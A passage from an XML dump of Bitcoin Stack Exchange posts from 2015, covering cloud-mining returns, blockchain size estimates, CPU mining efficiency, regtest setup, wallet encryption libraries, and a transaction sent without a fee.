&lt;strong&gt;255USD&lt;/strong&gt; this means I will generate a revenue (not profit) of &lt;strong&gt;20.59USD per month&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now, let's assume my investment will span between February 2015 and December 2016, I will break even on &lt;strong&gt;June 2016&lt;/strong&gt; and make &lt;strong&gt;profit&lt;/strong&gt; of the value of &lt;strong&gt;17.35USD&lt;/strong&gt; if the BTC/USD exchange rate is still fixed at 255USD.&lt;/p&gt;&#xA;&lt;p&gt;There are 3 ways this situation could evolve (from today the investment date):&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Best Case Scenario:&lt;/strong&gt; The BTC/USD rate will increase and I will break even sooner and actually make more profit. For this profit to be substantial the rate should double if not triple (highly unlikely).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Normal Case:&lt;/strong&gt; If the BTC/USD rate is still the same, by the end of this investment period, I would have generated &lt;strong&gt;1.815 BTC&lt;/strong&gt; for a cost of &lt;strong&gt;322USD&lt;/strong&gt; and a profit of &lt;strong&gt;~140USD (exch. rate BTC/USD 255USD)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Worse Case:&lt;/strong&gt; The BTC/USD rate will drop and eventually I will be at a loss. Or, the service owners will decide it is not profitable for them anymore (given the increase of the difficulty factor) and they will sell the hardware and distribute the returns based on the number of shares owned. The catch is that this hardware deprecates quickly and everyone will be at a loss by the time the owners decide to sell.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Before concluding, it's important to note that the Dividends per Share value is likely to decrease with time as it is inversely proportional to the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/23099/what-does-the-mining-difficulty-number-really-mean&quot;&gt;Bitcoin Difficulty&lt;/a&gt; value.&lt;/p&gt;&#xA;&lt;p&gt;All in all, if you want to experiment and get involved in the bitcoin scene and have a few hundred dollars you want to spend here or there, go for it. If not, find other ways to procure/invest in bitcoins that are cheaper and faster.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Disclaimer: I'm not an economist or a financier, so please forgive any misuse of technical jargon.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Edit&lt;/strong&gt;: I edited the Google spreadsheet to take into consideration the mining difficulty. The impact is not large, but it makes the projections more accurate.*&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14920" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-03-14T00:13:13.407" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36275" PostTypeId="2" ParentId="36273" CreationDate="2015-03-01T13:40:29.800" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://givebtc.org/index.php/bitcoin-donation-directory/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GiveBTC&lt;/a&gt; by the Bitcoin Foundation Canada / Bitcoin Embassy is the best directory I've seen.  Linked from the top of that page, they also have an excellent handbook for charities considering accepting bitcoin donations.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I need to know the charitable bitcoin address. I mean that using payment processer, like bitpay, are not useful in my case.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm sorry to hear that.  Neither individuals nor organizations should be &lt;a href=&quot;https://en.bitcoin.it/wiki/Address_reuse&quot; rel=&quot;nofollow noreferrer&quot;&gt;reusing addresses&lt;/a&gt; because it reduces their privacy and the privacy of all Bitcoin users they transact with.  Here's a &lt;a href=&quot;https://bitcoin.stackexchange.com/a/35419/21052&quot;&gt;related answer&lt;/a&gt; I wrote.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-03-01T13:40:29.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36276" PostTypeId="2" ParentId="36264" CreationDate="2015-03-01T14:44:30.787" Score="11" Body="&lt;h2&gt;Subsidized Full Nodes Are A Bad Idea&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Nick answers your other questions well, but I wanted to provide a more complete answer for this question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If they're not subsidized, why not?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Subsidizing full nodes is a bad idea. If the value of the subsidy is substantial, it will likely attract people trying to scam the subsidy program by creating nodes designed to receive the subsidy rather than help the network.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Parallels With Mining&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Mining is subsidized, and from about 2010 to about 2013 (and even some afterwards), hackers frequently installed CPU mining software on hacked computers to claim the subsidy using other people's resources.  It wasn't until CPU and GPU mining became useless – i.e. non-subsidized – that the hackers stopped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because full nodes provide the highest level of transaction security, we want them to be as accessible as possible to users – so we can't require specialized hardware or require users spend too much manual time setting them up.  And because Bitcoin is decentralized, we also can't do things like validate identities or use other centralized tools for reducing fraud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means we can't offer a subsidy for running full nodes without also allowing hackers to claim that subsidy for running full nodes on other people's computers.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Parallels With SMTP&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You might think that other people's hacked computers shouldn't be our problem, but it does become our problem.  Either we stop people from abusing our system, or people who make security software will stop people from &lt;em&gt;using&lt;/em&gt; our system.  For years now, my home ISP has blocked port 25 (the Simple Mail Transport Protocol, SMTP) because it is used by many botnets to send spam. If it becomes common for botnets to run full nodes, we'll likely see Bitcoin's port 8333 blocked as well.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Conclusion&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Rather than paying random people on the Internet to manage our network security for us, we should make it easier to run a full node so more people can enjoy the security and privacy benefits that come from running their own node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(To this end, the Bitcoin Core developers are working on improvements such as the &lt;a href=&quot;https://bitcoin.org/en/developer-guide#headers-first&quot;&gt;headers-first sync&lt;/a&gt; included in 0.10.0 and the upcoming &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4701&quot;&gt;auto pruning&lt;/a&gt;, which will reduce the disk space requirements for full nodes, as well as several other improvements.)&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="5406" LastEditDate="2015-03-01T21:58:39.627" LastActivityDate="2015-03-01T21:58:39.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36277" PostTypeId="2" ParentId="18519" CreationDate="2015-03-01T16:53:57.810" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://coinomi.com/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Coinomi Universal HD Wallet&lt;/strong&gt;&lt;/a&gt; will do exactly what you're looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://coinomi.com/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Coinomi&lt;/strong&gt;&lt;/a&gt; is a very secure and lightweight, universal, open-source HD wallet for Bitcoin and many altcoins. At the moment the supported coins are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Dogecoin&lt;/li&gt;&#xA;&lt;li&gt;Litecoin&lt;/li&gt;&#xA;&lt;li&gt;Peercoin&lt;/li&gt;&#xA;&lt;li&gt;Darkcoin&lt;/li&gt;&#xA;&lt;li&gt;Reddcoin&lt;/li&gt;&#xA;&lt;li&gt;NuBits&lt;/li&gt;&#xA;&lt;li&gt;NuShares&lt;/li&gt;&#xA;&lt;li&gt;Blackcoin&lt;/li&gt;&#xA;&lt;li&gt;Feathercoin&lt;/li&gt;&#xA;&lt;li&gt;Rubycoin&lt;/li&gt;&#xA;&lt;li&gt;Digitalcoin&lt;/li&gt;&#xA;&lt;li&gt;Cannacoin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;with more integrations on the way.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-03-01T16:53:57.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36278" PostTypeId="1" CreationDate="2015-03-01T17:23:58.590" Score="3" ViewCount="353" Body="&lt;p&gt;Do I need to keep updating version of Armory when it notifies me of new version. Just wondering if these are security patches or just some new bells and whistles in new armory versions. Seems like it took me forever to DL Armory and to install a new version every few months seems like a huge pain I run linux so that makes it even more difficult because I have manually uninstall and re-install and my newbie self doesnt' even know how to on linux as there is no automated uninstall or install like windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What gives?&lt;/p&gt;&#xA;" OwnerUserId="24541" LastActivityDate="2015-12-07T11:17:28.737" Title="Do I need to keep updating Armory version and more?" Tags="|armory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36279" PostTypeId="1" AcceptedAnswerId="36280" CreationDate="2015-03-01T19:35:13.707" Score="4" ViewCount="2914" Body="&lt;p&gt;By size, I mean how many GBs or TBs of data storage I would need to save entire blockchain starting from Genesis block when all bitcoins are mined?&lt;/p&gt;&#xA;" OwnerUserId="23302" LastEditorUserId="5406" LastEditDate="2016-04-01T09:31:12.010" LastActivityDate="2016-04-01T09:31:12.010" Title="What is the estimated size of complete blockchain when all bitcoins are mined. i.e around 2140?" Tags="|blockchain|blocksize|storage|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36280" PostTypeId="2" ParentId="36279" CreationDate="2015-03-01T20:08:18.397" Score="6" Body="&lt;p&gt;The blockchain will not reach its maximum capacity by the year 2140, the only thing that is going to change is that all bitcoins (a little less than 21M bitcoins) will have been mined by then and the total number of blocks at that time will be around 6,929,999. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that a block's maximum size will remain 1 MB then we can estimate that the maximum blockchain size at that time will be ~6,6 terabytes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the average block size is 0,4 MB so if the usage remains in the same levels the estimated blockchain size will be around 2,64 terabytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A minimal block contains a single 1-input/1-output transaction. The tx size in this case is: 1 x 148 + 1 x 34 + 10 + 1 = 193 bytes. Adding 4 bytes for the magic number, 4 bytes for the blocksize indicator, 80 bytes for the block header and 1 byte for the transaction counter we come up with: 193 + 4 + 80 + 1 = 278 bytes or 0,0002651214599609375 MBs so if limits remain unchanged, the minimum blockchain size at that moment will be ~1,794 GB (~0,001752 TB).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For coinbase txs the tx size is ~233 bytes so the total size of the blockchain occupied by coinbase txs would be ~1,503 GB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to sum up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Min est. size: ~1,794 GB (~1,503 GB for coinbase-only txs)&#xA;Avg est. size: ~2,64 TB&#xA;Max est. size: ~6,6 TB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: The blockchain is currently ~36,5 GB so the above min value is only the theoretical limit, we already know that the blockchain size will be larger than today's ~36,5 GB.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2015-03-01T20:32:34.393" LastActivityDate="2015-03-01T20:32:34.393" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36283" PostTypeId="1" CreationDate="2015-03-02T00:16:30.717" Score="6" ViewCount="93" Body="&lt;p&gt;Is there a list of provable solvency implementations? It appears to be that each company is taking their own unique swing at the problem. This strikes me as an area that could benefit from standardization.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2015-11-17T10:44:55.693" Title="Provable Solvency Implementations" Tags="|proof-of-solvency|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36284" PostTypeId="1" CreationDate="2015-03-02T03:17:58.050" Score="4" ViewCount="643" Body="&lt;p&gt;Is it possible to import a Watch-Only wallet that was made in Armory into Electrum?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to use Armory for cold storage but like Electrum more for hot wallets because it's lightweight and you never have to sync. Is there a way I can import my cold storage wallet's watch-only copy that was made with Armory into Electrum on my personal computer?&lt;/p&gt;&#xA;" OwnerUserId="24549" LastActivityDate="2016-05-28T14:09:08.883" Title="Using Armory Watch-Only wallet in Electrum?" Tags="|electrum|armory|coldstorage|watch-only|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36285" PostTypeId="2" ParentId="36284" CreationDate="2015-03-02T05:43:09.397" Score="1" Body="&lt;p&gt;They're different formats, so no.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-03-02T05:43:09.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36287" PostTypeId="1" CreationDate="2015-03-02T09:09:38.977" Score="3" ViewCount="180" Body="&lt;p&gt;I am writing a program about bitcoin mining. It calls the RPC method &lt;code&gt;getblocktemplate&lt;/code&gt; every second. Sometimes bitcoind doesn't reply to my RPC getblocktemplate request, but bitcoind still accepted new transactions and downloaded new blocks, but RPC calls didn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the CPU and memory usage; both are fine. I am sure it is not the problem of my computer system, because I tried connecting to some other bitcoind. At first, they worked fine, but after running a long time, this problem would come again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not find a good way to solve it. When the RPC request does not reply, I've tried restarting bitcoind, and then it worked again. My bitcoind version is 0.9.3. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="21175" LastEditorUserId="2306" LastEditDate="2015-03-02T19:02:32.477" LastActivityDate="2015-03-02T19:02:32.477" Title="getblocktemplate times out after being called many times" Tags="|json-rpc|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36289" PostTypeId="2" ParentId="2983" CreationDate="2015-03-02T13:04:19.480" Score="0" Body="&lt;p&gt;Here are two options.&#xA;The first can be blockchain pool which will be torrent like storage and can be implemented independently in wallets (today's 30GB spread to 2000 clients with 50% redundancy will cause only 30MB size)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second could be some kind of defragmentation, where is needed development of protocol. Here will be no problem to add block on the top of blockchain which includes let say 100k oldest blocks as a copy, without zero balance accounts. Question is only if here will be significant rate of defragmentation.&#xA;assumptions&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;we do not need transactions which creates empty accounts (all was sent)&lt;/li&gt;&#xA;&lt;li&gt;we do not need transactions which do not change balance  (all was sent back)&lt;/li&gt;&#xA;&lt;li&gt;we can set some time limit to dead accounts (only one transaction topped ou account and account never been used)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It is not simple solution and inactive account can not be refreshed until they are not running, then the last item is not quite safe.&lt;/p&gt;&#xA;" OwnerUserId="24554" LastActivityDate="2015-03-02T13:04:19.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36290" PostTypeId="2" ParentId="36270" CreationDate="2015-03-02T13:27:07.177" Score="3" Body="&lt;p&gt;This probably depends on the type of queries you want to make and the data you want to retrieve from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I have made good experiences with using a graph-database to traverse the block chain (e.g., Neo4j). However, the graph model you choose will influence the efficiency of certain types of queries.&lt;/p&gt;&#xA;" OwnerUserId="6177" LastActivityDate="2015-03-02T13:27:07.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36293" PostTypeId="2" ParentId="36253" CreationDate="2015-03-02T15:42:47.787" Score="7" Body="&lt;p&gt;Let's try to make a rough estimate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intel's article &lt;a href=&quot;https://software.intel.com/en-us/articles/intel-sha-extensions&quot; rel=&quot;noreferrer&quot;&gt;Intel SHA Extensions&lt;/a&gt; gives some details on these instructions as well as sample code.  The main feature is the &lt;code&gt;sha256rnds2&lt;/code&gt; instruction, which performs two rounds of SHA256, out of the 64 rounds that are needed to hash one 64-byte block.  A Bitcoin header is 80 bytes long, so that's 2 blocks, and because the mining algorithm is SHA256D, we need to do it twice.  So we need to execute &lt;code&gt;sha256rnds2&lt;/code&gt; 128 times to perform one Bitcoin hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm no expert on modern CPU architectures, but I would suspect a complex instruction like this would take more than one clock cycle; nonetheless, let's generously suppose it doesn't.  Since each round depends on the outputs of the previous, these rounds probably have to be executed serially (on each core), so not much parallelization can be done.  But let's very generously assume there are resources that can be shared, so that the CPU can execute two &lt;code&gt;sha256rnds2&lt;/code&gt; instructions per clock cycle.  Let's also generously assume that all the ancillary code needed to set up for &lt;code&gt;sha256rnds2&lt;/code&gt; can be pipelined and doesn't require any additional clock cycles.  So it takes 64 clock cycles to perform one Bitcoin hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, how fast can we run the clock, and more importantly, how much power would be used?  Since power consumption is paramount, let's suppose that we would want to use a mobile CPU.  The &lt;a href=&quot;http://en.wikipedia.org/wiki/Skylake_%28microarchitecture%29&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia article on Skylake&lt;/a&gt; suggests that the SKL-Y-1 model will have 2 cores and a thermal design power (TDP) of 4 W.  Let's assume the TDP represents the actual power consumption for our mining application, and furthermore let's neglect the power consumption of all other components of our machine (memory, power supply, etc).  There isn't any information given on clock speeds, but Intel's current &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_Intel_Core_M_microprocessors&quot; rel=&quot;noreferrer&quot;&gt;Core M&lt;/a&gt; processors have a base clock speed of up to 1.2 GHz, with &quot;turbo&quot; up to 2.9 GHz.  Let's suppose this new Skylake device could run at 3 GHz sustained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So our overall hash rate is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 3x10^9 clocks/sec / 64 clocks/hash * 2 cores =  93.75 MHash/sec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With a power consumption of 4 W, this gives an efficiency of &lt;strong&gt;23.4 MHash/J&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By comparison, according to bitcoin.it's &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;noreferrer&quot;&gt;Mining hardware comparison&lt;/a&gt;, current ASIC miners are able to produce 1000-2000 MHash/J.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conclusion:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Even under extremely optimistic assumptions about the mining performance of the Skylake processors, modern ASIC devices are still 40-80 times more efficient.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-03-02T15:42:47.787" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36294" PostTypeId="1" AcceptedAnswerId="36366" CreationDate="2015-03-02T16:18:42.023" Score="1" ViewCount="3514" Body="&lt;p&gt;I'm trying to set up a test network consisting of 3 nodes, each with different bitcoin.conf. I've constructed the directory and the .conf-files similar to what is the state of the art in qa/pull-tester/.&#xA;Within the terminal inside the node-A-directory I commanded: ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -conf=&quot;/home/me/.bitcoin/regtest/testnetwork/A/bitcoin.conf&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and got back this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;'&lt;em&gt;Error initializing block database. Do you want to rebuild the block database now?&lt;/em&gt;'&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My bitcoin.conf has following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;regtest=1&#xA;rpcuser=rt //adopted from .conf-files in qa/pull-tester/&#xA;rpcpassword=rt //adopted from .conf-files in qa/pull-tester/&#xA;port=11111 //arbitrary free port&#xA;rpcport=21111 //arbitrary free port&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could someone please help with my intended network setup or at least say what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I'm going to paste my logfile in a comment below.&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="2306" LastEditDate="2015-03-02T17:04:17.010" LastActivityDate="2015-03-15T16:08:54.563" Title="Error initializing block database. Do you want to rebuild the block database now?" Tags="|bitcoind|database|bitcoin.conf|regtest|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36295" PostTypeId="1" CreationDate="2015-03-03T01:23:57.397" Score="2" ViewCount="1115" Body="&lt;p&gt;Is there a correlation between the value of Ripple (XRP) and Bitcoin (BTC)?&lt;/p&gt;&#xA;" OwnerUserId="24560" LastEditorUserId="2306" LastEditDate="2015-03-03T02:33:47.747" LastActivityDate="2015-11-05T17:19:06.047" Title="Correlation between Ripple and Bitcoin" Tags="|historical-trade-data|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36297" PostTypeId="1" CreationDate="2015-03-03T06:57:27.547" Score="2" ViewCount="2034" Body="&lt;p&gt;I intend to establish an efficient and secure scheme for protection of wallets. For this , I need source code that implements wallet ecryption as mentioned in &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_encryption&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Wallet_encryption&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23319" LastEditorUserId="21052" LastEditDate="2015-03-03T11:21:41.590" LastActivityDate="2015-03-03T11:21:41.590" Title="Is there any open source implementation of Bitcoin wallet encryption in Java?" Tags="|wallet|encryption|e-wallet|wallet-security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36299" PostTypeId="2" ParentId="4887" CreationDate="2015-03-03T09:36:52.187" Score="-1" Body="&lt;p&gt;I recommend Litecoinlocal. However, from time to time I use &lt;a href=&quot;http://bitbay.net&quot; rel=&quot;nofollow&quot;&gt;http://bitbay.net&lt;/a&gt;.    &lt;/p&gt;&#xA;" OwnerUserId="23098" LastActivityDate="2015-03-03T09:36:52.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36300" PostTypeId="2" ParentId="36297" CreationDate="2015-03-03T11:20:27.713" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinj.github.io/&quot; rel=&quot;nofollow&quot;&gt;BitcoinJ&lt;/a&gt; is the Java open source library used by many popular wallets, including &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet for Android&lt;/a&gt;, &lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt;, &lt;a href=&quot;http://blog.greenaddress.it/2015/02/05/greenbits-the-all-new-snappy-android-bitcoin-wallet-with-multisig-and-hardware-wallets-support/&quot; rel=&quot;nofollow&quot;&gt;GreenAddress GreenBits&lt;/a&gt;, and lots more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It supports some sort of encryption of private keys, although it may not be AES-256-CBC (but it probably is).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;HD Wallets&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that BitcoinJ was recently upgraded to support creating and using &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP32&lt;/a&gt; &lt;a href=&quot;https://bitcoin.org/en/developer-guide#hierarchical-deterministic-key-creation&quot; rel=&quot;nofollow&quot;&gt;hierarchical deterministic (HD) wallets&lt;/a&gt;.  This is an option, and the old method of generating separate random keys is still available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When used in HD mode, as the wallets listed above do[1], it won't store the private keys directly, but will simply generate them on demand from the HD root seed, so it's only the HD root seed that needs to kept encrypted.  Also users are strongly encouraged to keep a paper backup of the root seed, meaning that digital backups of the encrypted key are usually not needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] MultiBit currently doesn't do it, but the in-beta-test MultiBit HD does.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Bitcoin Core Wallet&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In addition, Bitcoin Core developer &lt;a href=&quot;https://github.com/jonasschnelli&quot; rel=&quot;nofollow&quot;&gt;Jonas Schnelli&lt;/a&gt; is working on &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/5761&quot; rel=&quot;nofollow&quot;&gt;splitting off and replacing&lt;/a&gt; Bitcoin Core's backend wallet code, so you may not want to start on any major projects without coordinating with him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the proposed objectives for his project---although I haven't heard his take on this---is adding HD support to the wallet code.  (In any case, HD support will likely be added as an option; at least one core dev &lt;a href=&quot;http://bitcoinstats.com/irc/bitcoin-dev/logs/2015/02/27#l1425042961&quot; rel=&quot;nofollow&quot;&gt;would like to keep random-derived private keys&lt;/a&gt; for some applications because they've been much better studied than HD derivation.)&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-03-03T11:20:27.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36301" PostTypeId="2" ParentId="24664" CreationDate="2015-03-03T11:42:36.673" Score="4" Body="&lt;p&gt;Bitcoin Core 0.10 was just released with support for watch-only wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;code&gt;importaddress&lt;/code&gt; command to make a wallet consider the address to be belonging to it, and track incoming payments to it. &lt;code&gt;getreceivedbyaddress&lt;/code&gt; will work as expected in that case. In fact, Bitcoin Core does not support an &quot;address balance&quot; feature at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does indeed require you to import the address in advance (or go through a lengthy rescanning procedure). The upside is that this approach scales much better (it doesn't require a fully indexed blockchain, and is compatible with future pruning features).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-03-03T11:42:36.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36303" PostTypeId="1" AcceptedAnswerId="36304" CreationDate="2015-03-03T19:53:18.480" Score="0" ViewCount="677" Body="&lt;p&gt;I moved 0.30 BTC from Bitcoin Wallet for Android to a new Coinbase wallet I had created, I have waited and waited – now it’s been 29 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out the transaction doesn’t include a fee, which was why it’s taking so long. I was surprised, because Bitcoin Wallet for Android doesn't have a feature to opt out of sending a fee. I don’t think any android based application wallet has? I checked right through the app and the fee is automatically taken every transaction (as it should be IMHO).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how come this one transaction did not include a fee, while each of the past 50,000 transactions I've done have, including two since this incident using the exact same wallet to the exact same Coinbase wallet in an attempt to force my other one to be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spoke with the Bitcoin devs and it’s not a bug with the wallet, or if it is, then this is literally the only case this has happened in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why and what could cause this? How long do I wait? Is my 0.30 coins in limbo never to be seen again? Is there any way I can just cancel this transaction and try again? Is there any way to manually pay the fee? Or confirm it myself somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase says my 0.30 BTC is pending and will be confirmed in 30 minutes; it has said that the whole time.&lt;/p&gt;&#xA;" OwnerUserId="24570" LastEditorUserId="5406" LastEditDate="2016-01-05T13:15:02.150" LastActivityDate="2016-01-05T13:15:02.150" Title="Why did my transaction not include the fee?" Tags="|unconfirmed-transactions|bitcoin-wallet-app|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36304" PostTypeId="2" ParentId="36303" CreationDate="2015-03-03T20:46:09.600" Score="3" Body="&lt;p&gt;I don't know why your wallet didn't include a fee, and it would probably require a fair amount of debugging to figure out what went wrong.  Here are my suggestions for following up on this problem:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your transaction really didn't include a fee.  Open your wallet, find the transaction is the list of outgoing transactions, and press-and-hold on it to get the extra menu, and open it in the block chain explorer (BitEasy in Bitcoin Wallet For Android).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the block chain explorer, look at the details and make sure it didn't really include a transaction fee.  If there is a fee, Coinbase support got something wrong---so contact them again.  If there really is no fee, go to the next step.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;See what wallet you use.  From your description, it sounds like you use Bitcoin Wallet For Android, developed by Andreas Schildbach and based on BitcoinJ by Mike Hearn.  I've worked with both of them, and they're both very responsive to user problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is in fact the wallet you use, &lt;a href=&quot;https://github.com/schildbach/bitcoin-wallet/issues/new&quot; rel=&quot;nofollow&quot;&gt;open a new issue&lt;/a&gt; on their issue tracker.  Here is the information you should provide 